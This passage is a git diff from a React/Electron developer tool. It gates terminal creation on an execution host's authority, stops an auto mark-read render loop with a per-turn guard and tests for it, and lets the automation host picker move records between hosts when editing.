+    expect(nextField?.textContent).toMatch(/Parent worktree(?!.*Note)/)
+    expect(nextField?.nextElementSibling?.textContent).toContain('Note')
+  })
+
   it('does not disable folder workspace creation when only source lookup needs SSH', () => {
     current = renderCard({
       eligibleRepos: [
@@ -886,8 +902,7 @@ describe('NewWorkspaceComposerCard note sizing', () => {
   // Sizing is layout-driven (field-sizing) rather than a JS measure pass, and happy-dom
   // has no layout engine, so these assert the class contract that produces the growth.
   afterEach(() => {
-    act(() => current?.root.unmount())
-    current?.container.remove()
+    unmountCurrent()
     current = null
   })
 
diff --git a/src/renderer/src/components/NewWorkspaceComposerCard.tsx b/src/renderer/src/components/NewWorkspaceComposerCard.tsx
index b0a711cb0eb..c6cca5192ea 100644
--- a/src/renderer/src/components/NewWorkspaceComposerCard.tsx
+++ b/src/renderer/src/components/NewWorkspaceComposerCard.tsx
@@ -55,6 +55,11 @@ export default function NewWorkspaceComposerCard(
     setupConfig,
     setupControlsEnabled = true,
     selectedProjectId = null,
+    parentWorktreeId,
+    onParentWorktreeIdChange,
+    selectedRepoExecutionHostId,
+    selectedRepoProjectId,
+    activeFolderWorkspaceId,
     onAddProjectOverride,
     onNestedDialogOpenChange
   } = props
@@ -302,6 +307,11 @@ export default function NewWorkspaceComposerCard(
           setupRunButtonLabel={setupRunButtonLabel}
           setupSkipButtonLabel={setupSkipButtonLabel}
           showSetupAgentStartupPolicy={showSetupAgentStartupPolicy}
+          parentWorktreeId={parentWorktreeId}
+          onParentWorktreeIdChange={onParentWorktreeIdChange}
+          selectedRepoExecutionHostId={selectedRepoExecutionHostId}
+          selectedRepoProjectId={selectedRepoProjectId}
+          activeFolderWorkspaceId={activeFolderWorkspaceId}
         />
       </div>
       <NewWorkspaceComposerFooter
diff --git a/src/renderer/src/components/Terminal.tsx b/src/renderer/src/components/Terminal.tsx
index 089f799bbbf..1889c1b7bbd 100644
--- a/src/renderer/src/components/Terminal.tsx
+++ b/src/renderer/src/components/Terminal.tsx
@@ -79,6 +79,7 @@ import {
 import TabGroupSplitLayout from './tab-group/TabGroupSplitLayout'
 import AiVaultSessionDropLayer from './tab-group/AiVaultSessionDropLayer'
 import { shouldAutoCreateInitialTerminal } from './terminal/initial-terminal'
+import { createWorkspaceTerminalHostAuthoritySelector } from '@/lib/workspace-terminal-host-authority'
 import { useActiveTerminalRepair } from './terminal/use-active-terminal-repair'
 import { scheduleBackgroundTerminalWorktreeMeasure } from './terminal/background-terminal-worktree-visibility'
 import {
@@ -1514,6 +1515,15 @@ function Terminal(): React.JSX.Element | null {
   const activeWorktreeHasTerminalState = activeWorktreeId
     ? Object.hasOwn(tabsByWorktree, activeWorktreeId)
     : false
+  // Why a store subscription rather than a read inside the effects: the verdict flips to `none` the
+  // moment the execution host answers, and that transition is what re-runs the passes below.
+  // Why the retained selector: resolution walks the owner catalogs, so recomputing it on every store
+  // write would be the STA-3363 render-path multiplier again.
+  const hostAuthoritySelector = useMemo(
+    () => createWorkspaceTerminalHostAuthoritySelector(activeWorktreeId),
+    [activeWorktreeId]
+  )
+  const activeWorktreeHostAuthority = useAppStore(hostAuthoritySelector)
   useEffect(() => {
     if (!workspaceSessionReady) {
       return
@@ -1521,8 +1531,9 @@ function Terminal(): React.JSX.Element | null {
     if (!activeWorktreeId) {
       return
     }
-    // Why: host session-tabs are authoritative in the paired web client; a local fallback races the host's initial terminal and duplicates tabs.
-    if (isWebRuntimeSessionActive(getActiveWorktreeRuntimeEnvironmentId(activeWorktreeId))) {
+    // Why: the execution host owns terminal creation, and a host that has not answered is not a host
+    // with no terminals — seeding into that gap duplicates its tabs on every launch (STA-4658).
+    if (activeWorktreeHostAuthority !== 'none') {
       return
     }
 
@@ -1537,6 +1548,7 @@ function Terminal(): React.JSX.Element | null {
     workspaceSessionReady,
     activeWorktreeId,
     activeWorktreeHasTerminalState,
+    activeWorktreeHostAuthority,
     createTab,
     reconcileWorktreeTabModel
   ])
@@ -1549,10 +1561,15 @@ function Terminal(): React.JSX.Element | null {
     if (startupResumeWorktreeIdsRef.current.has(activeWorktreeId)) {
       return
     }
+    // Why not consume the one-shot here: the sweep declines outright while the host is unanswered,
+    // so marking it done would strand every sleeping agent on the workspace for the session.
+    if (activeWorktreeHostAuthority === 'unverifiable') {
+      return
+    }
     startupResumeWorktreeIdsRef.current.add(activeWorktreeId)
     // Why: startup hydration restores the worktree without activateAndRevealWorktree, so orphaned live/quit records need a terminal-surface pass after cold restore.
     resumeSleepingAgentSessionsForWorktree(activeWorktreeId)
-  }, [activeWorktreeId, hydrationSucceeded, workspaceSessionReady])
+  }, [activeWorktreeId, activeWorktreeHostAuthority, hydrationSucceeded, workspaceSessionReady])
 
   const handleNewTab = useCallback(
     (shellOverride?: string) => {
diff --git a/src/renderer/src/components/activity/ActivityPrototypePage.tsx b/src/renderer/src/components/activity/ActivityPrototypePage.tsx
index a6a1df6dc9f..623e41d4c89 100644
--- a/src/renderer/src/components/activity/ActivityPrototypePage.tsx
+++ b/src/renderer/src/components/activity/ActivityPrototypePage.tsx
@@ -1426,6 +1426,8 @@ export default function ActivityPrototypePage(): React.JSX.Element {
   const [groupBy, setGroupBy] = useState<ActivityGroupBy>('status')
   const [query, setQuery] = useState('')
   const activityFilterInputRef = useRef<HTMLInputElement | null>(null)
+  // Why: bounds auto mark-read to one acknowledgement per selected thread turn.
+  const autoAcknowledgedTurnRef = useRef<string | null>(null)
   const [compactMode, setCompactMode] = useState(false)
   const [selectedPaneKey, setSelectedPaneKey] = useState<string | null>(null)
   const [displayedPaneKey, setDisplayedPaneKey] = useState<string | null>(null)
@@ -1731,11 +1733,20 @@ export default function ActivityPrototypePage(): React.JSX.Element {
     ) {
       return
     }
+    // Why (React #185): a turn stamped ahead of this clock (SSH/remote execution host) can never
+    // have its unread cleared, and each retry lands on a later millisecond, so acknowledgeAgents'
+    // `prev < now` guard rewrites the ack map every time and re-enters here forever through
+    // storeData. Auto-read is once per turn, not a retry.
+    const autoAcknowledgeKey = `${selectedThread.paneKey}:${selectedThread.latestTimestamp}`
+    if (autoAcknowledgedTurnRef.current === autoAcknowledgeKey) {
+      return
+    }
     const selectedThreadHasDetailOnlyView =
       !selectedHasLiveTab || selectedThread.migrationUnsupportedPtyId !== undefined
     const selectedThreadIsVisibleTerminal =
       visibleThread?.paneKey === effectiveSelectedPaneKey && visiblePortalReady
     if (selectedThreadHasDetailOnlyView || selectedThreadIsVisibleTerminal) {
+      autoAcknowledgedTurnRef.current = autoAcknowledgeKey
       storeData.acknowledgeAgents([selectedThread.paneKey])
     }
   }, [
diff --git a/src/renderer/src/components/activity/activity-auto-mark-read-loop.react185.test.tsx b/src/renderer/src/components/activity/activity-auto-mark-read-loop.react185.test.tsx
new file mode 100644
index 00000000000..9fdc4c0ecef
--- /dev/null
+++ b/src/renderer/src/components/activity/activity-auto-mark-read-loop.react185.test.tsx
@@ -0,0 +1,224 @@
+/** @vitest-environment happy-dom */
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+import { TooltipProvider } from '@/components/ui/tooltip'
+import { useAppStore } from '@/store'
+import { makePaneKey } from '../../../../shared/stable-pane-id'
+import type { Repo } from '../../../../shared/repo-types'
+import type { TerminalTab } from '../../../../shared/terminal-tab-types'
+import type { Worktree } from '../../../../shared/worktree/types'
+import ActivityPrototypePage from './ActivityPrototypePage'
+
+;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+
+const LEAF_A = 'aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaa1'
+const TAB_A = 'tab-a'
+const PANE_A = makePaneKey(TAB_A, LEAF_A)
+const PROMPT = 'turn stamped by the execution host'
+
+const repo: Repo = {
+  id: 'repo-1',
+  path: '/repo',
+  displayName: 'Repo',
+  badgeColor: '#000',
+  addedAt: 1
+}
+
+const worktree: Worktree = {
+  id: 'wt-1',
+  repoId: repo.id,
+  path: '/repo/wt-1',
+  head: 'abc123',
+  branch: 'feature',
+  isBare: false,
+  isMainWorktree: false,
+  displayName: 'feature',
+  comment: '',
+  linkedIssue: null,
+  linkedPR: null,
+  linkedLinearIssue: null,
+  isArchived: false,
+  isUnread: false,
+  isPinned: false,
+  sortOrder: 0,
+  lastActivityAt: 1
+}
+
+const tab: TerminalTab = {
+  id: TAB_A,
+  ptyId: 'pty-a',
+  worktreeId: worktree.id,
+  title: 'Claude',
+  customTitle: null,
+  color: null,
+  sortOrder: 0,
+  createdAt: 1
+}
+
+const initialState = useAppStore.getInitialState()
+let root: Root
+let seededContainer: HTMLElement
+
+beforeEach(() => {
+  useAppStore.setState(initialState, true)
+})
+
+afterEach(() => {
+  act(() => root?.unmount())
+  useAppStore.setState(initialState, true)
+  document.body.replaceChildren()
+})
+
+function seedRetainedThread(stampedAt: number, lastAssistantMessage: string): void {
+  useAppStore.setState({
+    repos: [repo],
+    worktreesByRepo: { [repo.id]: [worktree] },
+    tabsByWorktree: { [worktree.id]: [] },
+    retainedAgentsByPaneKey: {
+      [PANE_A]: {
+        entry: {
+          state: 'done',
+          prompt: PROMPT,
+          updatedAt: stampedAt,
+          stateStartedAt: stampedAt,
+          paneKey: PANE_A,
+          terminalTitle: 'Claude',
+          stateHistory: [],
+          agentType: 'claude',
+          lastAssistantMessage
+        },
+        worktreeId: worktree.id,
+        tab,
+        agentType: 'claude',
+        startedAt: stampedAt
+      }
+    },
+    activeRepoId: repo.id,
+    activeWorktreeId: worktree.id
+  })
+}
+
+function seedThreadStampedByLocalClock(): void {
+  seedRetainedThread(Date.now() - 60_000, 'finished locally')
+}
+
+// Why: an SSH/remote execution host stamps the turn with its own clock, so the renderer can
+// acknowledge a thread whose event still sorts as newer than the acknowledgement.
+function seedThreadStampedAheadOfLocalClock(): void {
+  seedRetainedThread(Date.now() + 60_000, 'finished on the execution host')
+}
+
+async function mountActivityPage(): Promise<void> {
+  const container = document.createElement('div')
+  document.body.append(container)
+  root = createRoot(container)
+  await act(async () => {
+    root.render(
+      <TooltipProvider>
+        <ActivityPrototypePage />
+      </TooltipProvider>
+    )
+    await new Promise((resolve) => setTimeout(resolve, 30))
+  })
+  seededContainer = container
+}
+
+async function selectSeededThread(): Promise<void> {
+  const row = Array.from(seededContainer.querySelectorAll<HTMLElement>('[role="button"]')).find(
+    (element) => element.textContent?.includes(PROMPT)
+  )
+  expect(row).toBeDefined()
+  await act(async () => {
+    row?.click()
+    await new Promise((resolve) => setTimeout(resolve, 30))
+  })
+}
+
+function countAcknowledgeWrites(): { readonly count: () => number; stop: () => void } {
+  let writes = 0
+  const unsubscribe = useAppStore.subscribe((next, prev) => {
+    if (next.acknowledgedAgentsByPaneKey !== prev.acknowledgedAgentsByPaneKey) {
+      writes += 1
+    }
+  })
+  return { count: () => writes, stop: unsubscribe }
+}
+
+describe('Activity auto mark-read loop (React #185)', () => {
+  it('acknowledges a selected thread once even when its unread flag cannot clear', async () => {
+    seedThreadStampedAheadOfLocalClock()
+    await mountActivityPage()
+    const acknowledgeWrites = countAcknowledgeWrites()
+
+    try {
+      await selectSeededThread()
+    } finally {
+      acknowledgeWrites.stop()
+    }
+
+    expect(acknowledgeWrites.count()).toBe(1)
+  })
+
+  it('re-acknowledges when a new turn lands on the still-selected thread', async () => {
+    seedThreadStampedAheadOfLocalClock()
+    await mountActivityPage()
+    const acknowledgeWrites = countAcknowledgeWrites()
+
+    try {
+      await selectSeededThread()
+      expect(acknowledgeWrites.count()).toBe(1)
+
+      // Why: the per-turn guard must not swallow the next turn's auto mark-read.
+      const nextTurnAt = Date.now() + 120_000
+      await act(async () => {
+        useAppStore.setState((s) => {
+          const previous = s.retainedAgentsByPaneKey[PANE_A]
+          return {
+            retainedAgentsByPaneKey: {
+              [PANE_A]: {
+                ...previous,
+                startedAt: nextTurnAt,
+                entry: {
+                  ...previous.entry,
+                  updatedAt: nextTurnAt,
+                  stateStartedAt: nextTurnAt,
+                  lastAssistantMessage: 'second turn on the execution host'
+                }
+              }
+            }
+          }
+        })
+        await new Promise((resolve) => setTimeout(resolve, 50))
+      })
+    } finally {
+      acknowledgeWrites.stop()
+    }
+
+    expect(acknowledgeWrites.count()).toBe(2)
+  })
+
+  it('still marks a locally stamped thread read on selection', async () => {
+    seedThreadStampedByLocalClock()
+    await mountActivityPage()
+    await selectSeededThread()
+
+    expect(useAppStore.getState().acknowledgedAgentsByPaneKey[PANE_A]).toBeGreaterThan(0)
+  })
+
+  it('leaves the selected thread unread after the user marks it unread', async () => {
+    seedThreadStampedByLocalClock()
+    await mountActivityPage()
+    await selectSeededThread()
+
+    // Why pinned: auto mark-read is once per turn, so an explicit mark-unread on the
+    // still-selected thread must survive — a guard keyed on unread instead of the turn
+    // would silently re-acknowledge it and make the menu action a no-op.
+    await act(async () => {
+      useAppStore.getState().unacknowledgeAgents([PANE_A])
+      await new Promise((resolve) => setTimeout(resolve, 50))
+    })
+
+    expect(useAppStore.getState().acknowledgedAgentsByPaneKey[PANE_A]).toBeUndefined()
+  })
+})
diff --git a/src/renderer/src/components/automations/AutomationCustomCronPanel.tsx b/src/renderer/src/components/automations/AutomationCustomCronPanel.tsx
index ead3ae34f4a..a2a7c8cca1b 100644
--- a/src/renderer/src/components/automations/AutomationCustomCronPanel.tsx
+++ b/src/renderer/src/components/automations/AutomationCustomCronPanel.tsx
@@ -2,10 +2,8 @@ import React from 'react'
 import { CheckCircle2, CircleAlert } from 'lucide-react'
 import { Input } from '@/components/ui/input'
 import { cn } from '@/lib/utils'
-import {
-  describeAutomationSchedule,
-  getAutomationCronExpressionFields
-} from '../../../../shared/automation-schedules'
+import { describeAutomationSchedule } from '../../../../shared/automation-schedules'
+import { getAutomationCronExpressionFields } from '../../../../shared/automation-schedule-parsing'
 import { formatUiAutomationScheduleDescriptor } from './automation-schedule-label'
 import type { AutomationDraft } from './AutomationEditorDialog'
 import { Field } from './automation-page-parts'
diff --git a/src/renderer/src/components/automations/AutomationCreateDestinationField.test.tsx b/src/renderer/src/components/automations/AutomationDestinationField.test.tsx
similarity index 68%
rename from src/renderer/src/components/automations/AutomationCreateDestinationField.test.tsx
rename to src/renderer/src/components/automations/AutomationDestinationField.test.tsx
index e32e6500d5f..29d71acf0b8 100644
--- a/src/renderer/src/components/automations/AutomationCreateDestinationField.test.tsx
+++ b/src/renderer/src/components/automations/AutomationDestinationField.test.tsx
@@ -4,7 +4,7 @@ import { act } from 'react'
 import { createRoot, type Root } from 'react-dom/client'
 import { afterEach, beforeEach, describe, expect, it } from 'vitest'
 import { TooltipProvider } from '@/components/ui/tooltip'
-import { AutomationCreateDestinationField } from './AutomationCreateDestinationField'
+import { AutomationDestinationField } from './AutomationDestinationField'
 import type { AutomationHostCatalogEntry } from './automation-host-catalog-types'
 import type { AutomationOwnerRef } from '../../../../shared/automation-owner-ref'
 import type { AutomationCreateDestinationControl } from './use-automation-create-destination'
@@ -61,10 +61,12 @@ const LEGACY_ENTRY: AutomationHostCatalogEntry = {
 
 function control(
   projects: Repo[],
-  entries: AutomationHostCatalogEntry[] = [ENTRY]
+  entries: AutomationHostCatalogEntry[] = [ENTRY],
+  moveWarning?: string
 ): AutomationCreateDestinationControl {
   return {
     entries,
+    moveWarning,
     resolution: {
       status: 'ready',
       authority: OWNER.authority,
@@ -76,11 +78,15 @@ function control(
   }
 }
 
-function render(projects: Repo[], entries?: AutomationHostCatalogEntry[]): void {
+function render(
+  projects: Repo[],
+  entries?: AutomationHostCatalogEntry[],
+  moveWarning?: string
+): void {
   act(() => {
     root.render(
       <TooltipProvider>
-        <AutomationCreateDestinationField control={control(projects, entries)} />
+        <AutomationDestinationField control={control(projects, entries, moveWarning)} />
       </TooltipProvider>
     )
   })
@@ -90,7 +96,7 @@ function emptyNote(): HTMLElement | null {
   return container.querySelector('[data-testid="automation-create-no-projects"]')
 }
 
-describe('AutomationCreateDestinationField', () => {
+describe('AutomationDestinationField', () => {
   it('names the host that has no projects rather than leaving Create dead', () => {
     render([])
 
@@ -107,8 +113,10 @@ describe('AutomationCreateDestinationField', () => {
   it('names the hosts a server update would let create, instead of hiding them', () => {
     render([{ id: 'repo-1' } as Repo], [ENTRY, LEGACY_ENTRY])
 
-    const note = container.querySelector('[data-testid="automation-create-update-required"]')
-    expect(note?.textContent).toContain('legacy-box')
+    const updateRequired = container.querySelector(
+      '[data-testid="automation-create-update-required"]'
+    )
+    expect(updateRequired?.textContent).toContain('legacy-box')
   })
 
   it('says nothing about updates when every offered host is eligible', () => {
@@ -116,4 +124,23 @@ describe('AutomationCreateDestinationField', () => {
 
     expect(container.querySelector('[data-testid="automation-create-update-required"]')).toBeNull()
   })
+
+  it('states a move in place of the host it would otherwise just name', () => {
+    render([{ id: 'repo-1' } as Repo], undefined, 'Saving creates this automation on GPU box.')
+
+    // Both lines name the same host; the one that mentions the delete wins.
+    expect(container.querySelector('[data-testid="automation-host-move"]')?.textContent).toContain(
+      'GPU box'
+    )
+    expect(container.textContent).not.toContain('Stored and scheduled by')
+  })
+
+  it('names the host without a tense, so editing reads as a move', () => {
+    render([{ id: 'repo-1' } as Repo])
+
+    // The same field serves both modes; create-only wording would misread on an
+    // existing record, whose save moves it rather than creating it.
+    expect(container.querySelector('[aria-label="Host"]')).not.toBeNull()
+    expect(container.textContent).not.toContain('created')
+  })
 })
diff --git a/src/renderer/src/components/automations/AutomationCreateDestinationField.tsx b/src/renderer/src/components/automations/AutomationDestinationField.tsx
similarity index 81%
rename from src/renderer/src/components/automations/AutomationCreateDestinationField.tsx
rename to src/renderer/src/components/automations/AutomationDestinationField.tsx
index 43a4f2cc08c..e3ef789b670 100644
--- a/src/renderer/src/components/automations/AutomationCreateDestinationField.tsx
+++ b/src/renderer/src/components/automations/AutomationDestinationField.tsx
@@ -19,16 +19,11 @@ import {
 import { groupAutomationHostEntriesByAuthority } from './automation-host-picker-groups'
 import type { AutomationCreateDestinationControl } from './use-automation-create-destination'
 
-/**
- * Where the new automation will be stored, named on the form before submit.
- *
- * This is the storage authority, not the workspace's execution host — the two
- * routinely differ, and only this one decides which machine keeps and schedules
- * the record. A concrete host filter only preselects: the list filter narrows a
- * view, so it must not decide where a new record is allowed to live.
- */
+// The host that stores and schedules the automation, not the workspace's
+// execution host — the two routinely differ. Serves create and edit alike; on an
+// existing record a save that lands elsewhere is a move.
 
-export function AutomationCreateDestinationField({
+export function AutomationDestinationField({
   control,
   labelClassName
 }: {
@@ -42,7 +37,7 @@ export function AutomationCreateDestinationField({
     control.entries.filter(automationCreateHostOffered)
   )
   const updateRequiredAuthorities = automationCreateUpdateRequiredAuthorityLabels(control.entries)
-  const label = translate('auto.components.automations.createDestination.label', 'Create on')
+  const label = translate('auto.components.automations.createDestination.label', 'Host')
 
   return (
     <Field label={label} labelClassName={labelClassName}>
@@ -84,6 +79,12 @@ export function AutomationCreateDestinationField({
             'No projects are set up on {host}. Add one there, or choose another host.'
           ).replace('{host}', selected.label)}
         </p>
+      ) : control.moveWarning ? (
+        // Replaces the storedOn line: both name the same host, and the move is
+        // the consequential half.
+        <p className="text-xs text-destructive" data-testid="automation-host-move">
+          {control.moveWarning}
+        </p>
       ) : (
         <p className="text-xs text-muted-foreground">
           {selected
@@ -93,7 +94,7 @@ export function AutomationCreateDestinationField({
               ).replace('{authority}', selected.authorityLabel)
             : translate(
                 'auto.components.automations.createDestination.unselected',
-                'Choose the host this automation will be created on.'
+                'Choose the host that stores and schedules this automation.'
               )}
         </p>
       )}
@@ -103,11 +104,13 @@ export function AutomationCreateDestinationField({
           className="text-xs text-muted-foreground"
           data-testid="automation-create-update-required"
         >
-          {translate(
-            'auto.components.automations.createDestination.updateRequired',
-            'Update the Orca server on {hosts} to create automations there.'
+          {
             // Replacer fn: a literal replacement would expand `$` patterns in host labels.
-          ).replace('{hosts}', () => updateRequiredAuthorities.join(', '))}
+            translate(
+              'auto.components.automations.createDestination.updateRequired',
+              'Update the Orca server on {hosts} to store automations there.'
+            ).replace('{hosts}', () => updateRequiredAuthorities.join(', '))
+          }
         </p>
       ) : null}
     </Field>
diff --git a/src/renderer/src/components/automations/AutomationDetail.host.test.tsx b/src/renderer/src/components/automations/AutomationDetail.host.test.tsx
new file mode 100644
index 00000000000..14fe6ef799d
--- /dev/null
+++ b/src/renderer/src/components/automations/AutomationDetail.host.test.tsx
@@ -0,0 +1,100 @@
+// @vitest-environment happy-dom
+
+/**
+ * The detail view never said which machine an automation lived on, so two rows
+ * from different hosts read identically. These pin the host to the row's own
+ * catalog entry rather than to the record's host-local execution target.
+ */
+
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { TooltipProvider } from '@/components/ui/tooltip'
+import type { Automation } from '../../../../shared/automations-types'
+import { AutomationDetail } from './AutomationDetail'
+import type { AutomationHostCatalogEntry } from './automation-host-catalog-types'
+import { makeAutomation } from './automations-page-fixtures'
+
+const roots: Root[] = []
+
+const RUNTIME_ENTRY: AutomationHostCatalogEntry = {
+  stableRef: { authority: { kind: 'runtime', environmentId: 'r1' }, selector: { kind: 'self' } },
+  owner: {
+    authority: { kind: 'runtime', environmentId: 'r1', pairingRevision: 1 },
+    selector: { kind: 'self' }
+  },
+  stableKey: 'host:runtime:r1:self',
+  label: 'GPU box',
+  authorityLabel: 'GPU box',
+  kind: 'self',
+  catalogState: 'authoritative',
+  authorityHealth: 'fresh',
+  executionHealth: 'connected',
+  querySupport: 'scoped'
+}
+
+async function render(
+  overrides: Partial<Automation>,
+  hostEntry: AutomationHostCatalogEntry | null
+): Promise<HTMLDivElement> {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const root = createRoot(container)
+  roots.push(root)
+  await act(async () => {
+    root.render(
+      <TooltipProvider>
+        <AutomationDetail
+          automation={makeAutomation(overrides)}
+          runs={[]}
+          projectName="orca"
+          workspaceName="main"
+          projectDefaultBaseRef="main"
+          hostEntry={hostEntry}
+          hostLabelById={new Map([['local', 'Local Mac']])}
+          runNowAvailability={null}
+          now={0}
+          onRunNow={vi.fn()}
+          onEdit={vi.fn()}
+          onToggle={vi.fn()}
+          onDelete={vi.fn()}
+        />
+      </TooltipProvider>
+    )
+  })
+  return container
+}
+
+function hostMetric(container: HTMLDivElement): string | null {
+  const label = [...container.querySelectorAll('div')].find(
+    (node) => node.textContent === 'Host' && node.className.includes('uppercase')
+  )
+  return label?.nextElementSibling?.textContent ?? null
+}
+
+beforeEach(() => {
+  globalThis.IS_REACT_ACT_ENVIRONMENT = true
+})
+
+afterEach(async () => {
+  await act(async () => {
+    roots.splice(0).forEach((root) => root.unmount())
+  })
+  document.body.innerHTML = ''
+})
+
+describe('AutomationDetail host', () => {
+  it('names the host the row was listed from', async () => {
+    // executionTargetType 'local' means local to the runtime, so the record
+    // alone would have this read as this Mac.
+    const container = await render({ executionTargetType: 'local' }, RUNTIME_ENTRY)
+
+    expect(hostMetric(container)).toBe('GPU box')
+  })
+
+  it('falls back to the record’s own target when no host answered for the row', async () => {
+    const container = await render({ executionTargetType: 'local' }, null)
+
+    expect(hostMetric(container)).toBe('Local Mac')
+  })
+})
diff --git a/src/renderer/src/components/automations/AutomationDetail.tsx b/src/renderer/src/components/automations/AutomationDetail.tsx
index a15c56e5abf..11a7545a1d3 100644
--- a/src/renderer/src/components/automations/AutomationDetail.tsx
+++ b/src/renderer/src/components/automations/AutomationDetail.tsx
@@ -14,6 +14,8 @@ import {
   summarizeAutomationRunUsage
 } from './automation-usage-model'
 import type { AutomationTargetAvailability } from './automation-target-availability'
+import type { AutomationHostCatalogEntry } from './automation-host-catalog-types'
+import { getAutomationHostDetailDisplay } from './automation-host-detail-display'
 import { getAutomationSourceDisplay } from './automation-source-display'
 import { translate } from '@/i18n/i18n'
 import { AutomationPromptDisclosure } from './AutomationPromptDisclosure'
@@ -24,6 +26,8 @@ type AutomationDetailProps = {
   projectName: string
   workspaceName: string
   projectDefaultBaseRef: string | null
+  /** The catalog entry the selected row was listed from; absent for legacy unscoped rows. */
+  hostEntry?: AutomationHostCatalogEntry | null
   hostLabelById?: ReadonlyMap<string, string>
   runNowAvailability: AutomationTargetAvailability | null
   now: number
@@ -101,6 +105,7 @@ export function AutomationDetail({
   projectName,
   workspaceName,
   projectDefaultBaseRef,
+  hostEntry,
   hostLabelById,
   runNowAvailability,
   now,
@@ -133,6 +138,11 @@ export function AutomationDetail({
       ? (automation.baseBranch ?? projectDefaultBaseRef ?? 'Project default')
       : workspaceName
   const sourceDisplay = getAutomationSourceDisplay(automation.sourceContext, hostLabelById)
+  const hostDisplay = getAutomationHostDetailDisplay({
+    automation,
+    entry: hostEntry,
+    hostLabelById
+  })
   const runNowDisabled = runNowAvailability?.canRunNow === false
 
   return (
@@ -238,6 +248,11 @@ export function AutomationDetail({
               : 'Paused'
           }
         />
+        <DetailMetric
+          label={translate('auto.components.automations.AutomationDetail.host', 'Host')}
+          value={hostDisplay.label}
+          title={hostDisplay.title}
+        />
         <DetailMetric
           label={
             automation.workspaceMode === 'new_per_run'
diff --git a/src/renderer/src/components/automations/AutomationEditorDialog.tsx b/src/renderer/src/components/automations/AutomationEditorDialog.tsx
index 9fa13b7c210..b90a41c2f3d 100644
--- a/src/renderer/src/components/automations/AutomationEditorDialog.tsx
+++ b/src/renderer/src/components/automations/AutomationEditorDialog.tsx
@@ -71,8 +71,10 @@ type AutomationEditorDialogProps = {
   worktrees: Worktree[]
   settings: GlobalSettings | null
   draft: AutomationDraft
-  /** Present only while creating an Orca automation; editing keeps the record's captured owner. */
+  /** Present only while creating an Orca automation. */
   createDestination?: AutomationCreateDestinationControl
+  /** Present only while editing an Orca automation; selecting another host moves the record. */
+  editDestination?: AutomationCreateDestinationControl
   /** Why a save was refused. Belongs here rather than on the page: this dialog covers it. */
   notice?: AutomationActionNotice | null
   onNoticeRecover?: (action: AutomationHostRecoveryAction) => void
@@ -104,6 +106,7 @@ export function AutomationEditorDialog({
   settings,
   draft,
   createDestination,
+  editDestination,
   notice,
   onNoticeRecover,
   onNoticeDismiss,
@@ -122,6 +125,7 @@ export function AutomationEditorDialog({
   const isHermesTarget = createTarget === 'hermes'
   const isCreateMode = !isEditing && !isEditingExternal
   const isHermesCreate = isCreateMode && isHermesTarget
+  const destination = isCreateMode ? createDestination : editDestination
   const visibleAgents = React.useMemo(() => {
     const enabledIds = new Set(
       filterEnabledTuiAgents(
@@ -186,8 +190,7 @@ export function AutomationEditorDialog({
             onDismiss={() => onOpenChange(false)}
           />
           <AutomationEditorSettingsSidebar
-            isCreateMode={isCreateMode}
-            createDestination={createDestination}
+            destination={destination}
             isHermesTarget={isHermesTarget}
             isHermesCreate={isHermesCreate}
             repos={repos}
diff --git a/src/renderer/src/components/automations/AutomationEditorSettingsSidebar.tsx b/src/renderer/src/components/automations/AutomationEditorSettingsSidebar.tsx
index 45bbfd0f226..21f57cd2ce9 100644
--- a/src/renderer/src/components/automations/AutomationEditorSettingsSidebar.tsx
+++ b/src/renderer/src/components/automations/AutomationEditorSettingsSidebar.tsx
@@ -4,7 +4,7 @@ import { translate } from '@/i18n/i18n'
 import {
   isValidAutomationCronSchedule,
   isValidAutomationSchedule
-} from '../../../../shared/automation-schedules'
+} from '../../../../shared/automation-schedule-parsing'
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import type { OrcaHooks } from '../../../../shared/orca-yaml-hook-types'
 import type { ProjectHostSetup } from '../../../../shared/project-types'
@@ -19,13 +19,13 @@ import { AutomationSchedulePicker } from './AutomationSchedulePicker'
 import { AutomationSessionField } from './AutomationSessionField'
 import { AutomationSetupDecisionField } from './AutomationSetupDecisionField'
 import { AutomationWorkspaceField } from './AutomationWorkspaceField'
-import { AutomationCreateDestinationField } from './AutomationCreateDestinationField'
+import { AutomationDestinationField } from './AutomationDestinationField'
 import type { AutomationCreateDestinationControl } from './use-automation-create-destination'
 import type { AutomationDraft } from './AutomationEditorDialog'
 
 type AutomationEditorSettingsSidebarProps = {
-  isCreateMode?: boolean
-  createDestination?: AutomationCreateDestinationControl
+  /** The host picker: where a create lands, or the host an edit can move the record to. */
+  destination?: AutomationCreateDestinationControl
   isHermesTarget: boolean
   isHermesCreate: boolean
   repos: readonly Repo[]
@@ -48,8 +48,7 @@ type AutomationEditorSettingsSidebarProps = {
 }
 
 export function AutomationEditorSettingsSidebar({
-  isCreateMode,
-  createDestination,
+  destination,
   isHermesTarget,
   isHermesCreate,
   repos,
@@ -113,10 +112,10 @@ export function AutomationEditorSettingsSidebar({
             </div>
           </div>
         </div>
-        {createDestination && isCreateMode && !isHermesTarget ? (
+        {destination && !isHermesTarget ? (
           <div className="mb-4">
-            <AutomationCreateDestinationField
-              control={createDestination}
+            <AutomationDestinationField
+              control={destination}
               labelClassName={AUTOMATION_EDITOR_SECTION_LABEL_CLASS}
             />
           </div>
diff --git a/src/renderer/src/components/automations/AutomationSchedulePicker.render.test.tsx b/src/renderer/src/components/automations/AutomationSchedulePicker.render.test.tsx
index e65261b8820..f4ba0b46e5b 100644
--- a/src/renderer/src/components/automations/AutomationSchedulePicker.render.test.tsx
+++ b/src/renderer/src/components/automations/AutomationSchedulePicker.render.test.tsx
@@ -5,7 +5,7 @@ import { createRoot, type Root } from 'react-dom/client'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AutomationDraft } from './AutomationEditorDialog'
 import { AutomationSchedulePicker } from './AutomationSchedulePicker'
-import { isValidAutomationCronSchedule } from '../../../../shared/automation-schedules'
+import { isValidAutomationCronSchedule } from '../../../../shared/automation-schedule-parsing'
 import { useTranslation } from 'react-i18next'
 import { i18n } from '@/i18n/i18n'
 
